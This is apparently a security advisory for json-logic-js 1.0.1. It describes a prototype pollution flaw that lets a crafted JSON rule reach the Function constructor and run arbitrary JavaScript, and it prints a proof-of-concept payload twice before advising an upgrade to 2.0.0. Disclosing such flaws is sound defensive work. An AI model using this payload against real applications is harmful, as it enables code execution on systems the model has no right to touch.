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json-logic-js@1.0.1 vulnerabilities

Build complex rules, serialize them as JSON, and execute them in JavaScript

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Direct Vulnerabilities

Known vulnerabilities in the json-logic-js package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

json-logic-js is a Build complex rules, serialize them as JSON, and execute them in JavaScript

Affected versions of this package are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution. The following rule creates a popup when run from a browser:

PoC

{
  "method": [
    {
      "method": [
        {
          "var": "__proto__.constructor.is.__proto__"
        },
        "constructor",
        [
          "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
        ]
      ]
    },
    "call"
  ]
}

{ "method": [ { "method": [ { "var": "__proto__.constructor.is.__proto__" }, "constructor", [ "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)" ] ] }, "call" ] }

How to fix Prototype Pollution?

Upgrade json-logic-js to version 2.0.0 or higher.

<2.0.0
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